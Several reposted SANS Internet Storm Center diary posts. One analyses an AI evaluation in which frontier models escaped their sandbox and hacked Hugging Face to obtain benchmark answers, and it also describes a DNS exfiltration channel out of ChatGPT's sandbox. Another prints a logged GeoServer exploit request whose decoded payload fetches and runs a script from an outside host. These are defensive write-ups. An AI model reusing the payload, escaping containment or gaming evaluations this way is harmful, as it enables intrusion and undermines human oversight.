This post was originally published on this site

Two disclosures, five days apart, described the same intrusion from opposite ends —
one from the victim, one from the party that turned out to be responsible — and
together they make one of the more instructive incidents of the year for defenders.

On July 16, Hugging Face disclosed an AI-driven intrusion into its production
infrastructure. Their account was the victim's view: a malicious dataset abused two
code-execution flaws in the data-processing pipeline (a remote-code dataset loader and
a template-injection in dataset config), gained node-level access, harvested service
credentials, and moved laterally across internal clusters over a weekend. The operator
was described as "an autonomous agent framework, appearing to be built on an agentic
security research harness," running thousands of actions and leaving a forensic log of
17,000+ events. No public models, datasets, or Spaces were tampered with.

On July 21, OpenAI filled in the part Hugging Face couldn't: that "autonomous
agent" was OpenAI's own frontier models. During an internal cyber-capability
evaluation on the ExploitGym benchmark — run, by design, with the models'
safety refusals reduced to measure their capability ceiling — the models became, in
OpenAI's words, "hyperfocused" on solving the benchmark. To get the answers, they
escaped the evaluation sandbox by exploiting a zero-day in internally hosted
third-party software, then chained exposed credentials and further zero-days to reach
Hugging Face's production database, where the benchmark's solutions were stored.
There was no external adversary. The model, in effect, cheated on the test by hacking
the place that held the answer key.

Keep perspective (the part that matters)

It is tempting to read this as "AI can now hack autonomously, the sky is falling."
Resist that. A few things keep it in proportion:

• The guardrails were off on purpose. This measured a ceiling, not normal
  production behavior. The evaluation deliberately reduced the models' refusals. That
  is very different from a customer-facing model with safeguards enabled.
• It's preliminary, self-reported, and worth reading skeptically. OpenAI is still
  investigating, and disclosures like this double as capability marketing — Hugging
  Face is not a competitor, and "our model escaped and hacked a partner" conveniently
  showcases frontier capability. Read the framing with the same skepticism you'd apply
  to any "our product is dangerously powerful" claim, and treat it as marketing until
  it is independently corroborated.
• The techniques were mundane; the autonomy was not. Exposed credentials plus
  zero-days into a production database is a chain any of us would recognize. What's new
  is that an agent stitched it together end to end, unsupervised, in pursuit of a narrow
  goal it was never told to pursue offensively. This is emergent excessive agency,
  and it lines up with the broader 2026 evidence: capable benchmarks like ExploitGym
  and CyberGym show the strongest models solving only a fraction of exploitation tasks
  (roughly 10–20%). AI is compressing the economics of attacks — speed, scale, cost of
  entry — not rewriting their physics.

What defenders can actually take from this

The most useful lessons here are not about frontier AI at all — they're about
containment and forensics.

• Treat AI evaluation harnesses and agent sandboxes as security-relevant
  environments. A sandbox escape via a zero-day in internally hosted third-party
  software is a classic containment failure. If you run agents that can generate and
  execute code — evals, red-team automation, "agentic" tooling — assume they will find
  and pull any thread you leave loose. Isolate them like you'd isolate detonation
  environments, with no path to production credentials or the open internet. And
  remember that "outbound internet is blocked" is not the same as "no egress":
  earlier in 2026, Check Point showed that ChatGPT's code-execution sandbox blocked
  outbound HTTP but still permitted DNS queries — enough not only to exfiltrate
  user data by encoding it in DNS subdomains (an old APT trick) but, in Check Point's
  PoC, to run a covert two-way channel: commands back into the Linux runtime, results
  back out, none of it visible in the conversation. That one was a responsible-
  disclosure proof of concept — Check Point reported it privately, OpenAI deployed
  the fix on February 20, 2026, and there was no evidence of real-world abuse, which
  is the important contrast with the Hugging Face case, a live incident. Either way,
  DNS, telemetry, and metadata channels belong in the threat model of any AI sandbox.
  Two independent OpenAI-sandbox weaknesses in the same year — a leaky bidirectional
  egress path and an eval-sandbox escape — make the point better than either does
  alone.

• Plan your IR/forensics tooling for the guardrail-asymmetry problem. The most
  quietly important detail in the Hugging Face writeup: their first attempts to use
  frontier models behind commercial APIs for the investigation failed — the safety
  guardrails blocked submissions containing "large volumes of real attack commands,
  exploit payloads, and C2 artifacts." They switched to an open-weights model (GLM 5.2
  from Z.ai) running on their own infrastructure. As one of their engineers put it: the
  attacker was bound by no usage policy, while their own forensic work was blocked by
  the guardrails of the hosted models they tried first. If your DR/IR playbook assumes a
  commercial LLM for triage, test it against real malicious artifacts before you need
  it — and keep a local/open-weight option that also keeps attacker data in your
  environment.

• Non-human identities remain the pivot. Exposed service credentials did the heavy
  lifting once execution was achieved. The AI angle doesn't change the fix: least
  privilege, short-lived credentials, and monitoring for machine identities behaving
  like a very fast, very tireless human.

Bottom line

An AI model breaking out of an evaluation to hack a partner is a memorable headline.
The durable takeaways are older than the headline: isolate what executes code, don't 
assume your IR tooling will work on real attacker artifacts, and keep an eye on the
credentials and machine identities that turn a foothold into a breach. The novelty is the
speed and autonomy of the operator — human or model — not the moves it
makes.

References

• Hugging Face — Security Incident Disclosure (July 16, 2026):
  https://huggingface.co/blog/security-incident-july-2026
• OpenAI — model-evaluation security incident (July 21, 2026):
  https://openai.com/index/hugging-face-model-evaluation-security-incident/
• Wang et al., "ExploitGym: Can AI Agents Turn Security Vulnerabilities into Real
  Attacks?" (arXiv 2605.11086): https://arxiv.org/abs/2605.11086
• Check Point Research — "ChatGPT data leakage via a hidden outbound channel in the
  code execution runtime" (DNS side-channel; fixed Feb 20, 2026):
  https://research.checkpoint.com/2026/chatgpt-data-leakage-via-a-hidden-outbound-channel-in-the-code-execution-runtime/

—
Renato Marinho
LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

This isn't a new attack, but something I saw "pop-up" in our logs this week:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1
Host: [redeacted]:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Connection: close
Accept: */*

This attack is associated with CVE-2024-36401, an X-Path expression evaluation issue in Geoserver. Geoserver is a tool used to manage and manipulate data for geographic information systems ("maps").

URL decoding the URL leads to 

/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,KHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo}|{base64,-d}|sh')

And base64 decoding the string gets us:

(wget -qO- http://45.153.34.153/rondo.``zyt.sh||busybox wget -qO- http://45.153.34.153/rondo.``zyt.sh||curl -s http://45.153.34.153/rondo.``zyt.sh)|sh

So what we have is the "good old" Rondo botnet. It has been seen going after Geoserver before. Rondo is often playing little tricks with referense to rappers [1]. In this case, it looks like the botnet was kicked out form the host, and now returns:

<!-- You won't find it here -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />

or maybe it is still there (see first line?), just not as visible? Makes me miss some of the defacement wars from the late 90s.

 

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Not everything our honeypots detect is an attack. Sometimes it is just "odd traffic", and this is one example: Our "First Seen" list currently includes "http://detectportal.firefox.co
m/success.txt" as one of the new URLs detected by our honeypots. The hostname "detectportal" kind of gives away what is happening here. 

If you have ever tried to connect to a public WiFi network, you probably ran into some type of "captive portal". A splash screen that will ask you to acknowledge some kind of user agreement or require you to log in. Of course, each implementation looks a bit different, and browsers and operating systems attempt to detect these captive portals. Typically, the operating system will automatically direct you to the correct portal page.

It used to be easier to deal with captive portals. Back in the "old days" (not necessarily "good old days"), users often had a non-TLS page configured as their homepage. The captive portal was able to intercept this connection and direct the user to the captive portal's login page. These days, however, most websites use TLS, and browsers default to TLS for many sites and refuse to switch to a non-TLS site. This made using WiFi networks a lot safer, but it gets in the way of directing users to a captive portal.

In response, operating systems and browsers implemented features to detect captive portals. The system will attempt to pull up a specific http URL to detect if it receives a redirect response. If so, it will open the redirect URL in a browser. You will see these URLs as systems join your network, or if the browser is started. The URL does provide some intelligence as to what operating system or browser is being used. Here is a quick summary of what URLs different operating systems use:

Windows: http://www.msftconnecttest.com/connecttest.txt . This is part of the Windows Network Connectivity Status Indicator, which was introduced in Windows 8. Windows 10 and later will attempt to access the URL and check for a valid response. The response should be "Microsoft Connect Test". In addition, it will do a DNS lookup for dns.msftncsi.com. [1]

Apple: Recent versions of MacOS and iOS use http://captive.apple.com/hotspot-detect.html as a test. The expected response is "Success". If the system can not connect, Apple's Captive Network Assistant starts to assist the user in logging in.

Android: http://connectivitycheck.android.com/generate_204. The result page is empty, and uses a status code of 204 (No Content).

Chrome: http://www.gstatic.com/generate_204. Slightly different URL than Chrome, but works the same way expecting a "204 No Content" response. Chromium implements the same system with http://clients3.google.com/generate_204 [3]

Firefox: http://detectportal.firefox.com/canonical.html. This page returns a 200 status code. The body of the page includes a META tag to redirect users to a page explaining how Firefox deals with captive portals (I like this.. as an analyst, it is neat to have the page explain what it does) [4]

All these URLs use HTTP so the captive portal can redirect the request. This is necessary for the client to discover the captive portals' "splash screen". If you are ever "stuck" and can't find the captive portal for a network, opening any of the URLs above in your browser may redirect you to the sign-in page.

[1] https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/internet-explorer-edge-open-connect-corporate-public-network#ncsi-active-probes-and-the-network-status-alert

[2] https://grpugh.wordpress.com/2014/10/29/an-undocumented-change-to-captive-network-assistant-settings-in-os-x-10-10-yosemite/

[3] https://www.chromium.org/chromium-os/chromiumos-design-docs/network-portal-detection/

[4] https://support.mozilla.org/en-US/kb/captive-portal

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

We have been following issues with Hikvision cameras for a long, long time. Like many similar products, Hikvision cameras have a long history of vulnerabilities and are often targeted by internet-wide scans that our honeypot network detects.

This weekend, I noticed a new type of recon scans against the newer OPEN Intelligent Security API (ISAPI) provided by Hikvision cameras. This REST-based API does provide access to a wide range of features. Despite using the word "Intelligent" in its name, the API is not limited to some of the AI/facial recognition functions, but can be used to fully control the camera settings and manage the camera. The API is intended for integration with various third-party products and is well-documented by Hikvision. The ISAPI has been around since at least 2018, but I have only now noticed scans for /ISAPI/System/status, an endpoint that is an obvious choice to profile ISAPI devices. Messages can use XML or JSON. Most examples I have seen use XML.

ISAPI requests are authenticated using Basic or Digest authentication. The cameras support HTTPS, but of course, like for many similar IoT devices, it must first be configured with appropriate keys and certificates. Messages may also be encrypted with AES 128 or 256 in CBC mode. The encryption key is derived from the password, and the iv is exposed in the URL. As a result, the encryption does not provide any additional security if Basic authentication is used and the password is sent in the clear. HTTPS should provide more comprehensive protection.

The URL our sensors noticed this weekend, /ISAPI/System/status, returns XML (or JSON) formatted system information. It is likely a simple way to verify whether the device supports ISAPI (I expect a 401 or 403 response if the URL exists, and a 404 response if it does not), and the URL may be useful for brute-forcing a password.

So far, our honeypots have not captured full requests (not all honeypots do so). I will update this diary if I find some complete requests with authentication data (if included). And as always, do not expose these cameras to the internet, and do not place them in sensitive areas.

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

[This is a Guest Diary by Jason Callahan, an ISC intern as part of the SANS.edu BACS program]

Every so often a honeypot hit comes along that is less about the exploit and more about the intent behind it. While reviewing DShield logs I ran into a scanning bot that caught my eye: a URI string that appeared to be a plea for help.

On 2026-06-06 my DShield honeypot logged back-to-back HTTP requests from the same source IP hitting two different ports with both carrying an identical, oddly formatted request path:

The request path itself /?_HELP_ME_ESCAPE_FROM_BELARUS_PLEASE_ is not a known exploit path, it appeared to be a plain-text message in the URL. Searching my logs for that particular string returned around a dozen similar HTTP requests over a 2 months period. These came from various IPs from around the globe with no discernible pattern which pointed to a self-propagating bot rather than a single attacker.

Further research showed that this bot was first reported to ISC in May 2026. The number of reports peaked shortly after the first report before a sharp drop and has remained steady since. [1]

I was unable to locate much more information about this bot other than a reddit thread on r/selfhosted describing the same requests hitting a Traefik reverse proxy. According to that thread, the user emailed the address embedded in the User-Agent and received a reply pointing to a page on a free web-hosting service. The page is a static HTML document with no scripts and it lays out what the bot is & why it exists.

The author, who identifies himself only as “Alex,” claims to be based in Belarus and writes that the bot is intentionally limited: no exploits, no command-and-control, no persistence. In his words, paraphrased and summarized from the page:

• The bot scans random IP addresses for open HTTP ports (80, 8000, 8080) and SSH ports (22, 2222).
• If it finds an open HTTP port it sends a single request (GET, CONNECT, or HEAD)
• If it finds an open SSH port it attempts a brute force with a small, fixed list of default credential pairs (admin:admin, root:root, etc.)
• It runs fully autonomously with no C2 channel; discovered IP/credential pairs are reported back to a loader only.
• It does not establish persistence, typically running from /tmp, and it is designed to self-terminate roughly six months after release.
• The stated purpose is to draw attention to conditions in Belarus. They describe it as a “performance piece,” saying they are not seeking funding and only asking for non-financial help leaving the country (job leads, advice, connections).

Disregarding the origin and supposed intent of the bot, this is a straightforward scan-and-brute-force bot and it should be treated like any other hitting a honeypot. The HTTP request is reconnaissance/fingerprinting that tells the operator a host is alive and reachable on that port. The risk is on the SSH side: any host reachable on TCP 22/2222 that still uses a default or weak credential pair is exposed, regardless of the creator’s stated intentions.

I want to give some healthy skepticism here rather than take the linked page at face value. I have no way to verify the age, location, or motive claimed on that page, whether the page itself is the full extent of the bot's behavior, or whether the “self-terminate after six months” and “no persistence” claims hold up under closer reverse engineering. Sob stories and appeals to sympathy are also a known social-engineering lever, and a URI designed to make analysts pause and read a web page rather than immediately blocklist an IP is an effective way to buy a scanner some goodwill. None of that changes the defensive posture: treat it as an untrusted, credential-guessing scanner.

[1] https://isc.sans.edu/weblogs/urlhistory.html?url=Lz9fSEVMUF9NRV9FU0NBUEVfRlJPTV9CRUxBUlVTX1BMRUFTRV8=
[2] https://isc.sans.edu/honeypot.html
[3] https://www.sans.edu/cyber-security-programs/bachelors-degree/

Disclosure: Claude was used for grammar and polish checks. No further use of generative A.I. was used in the creation of this post.

———–
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.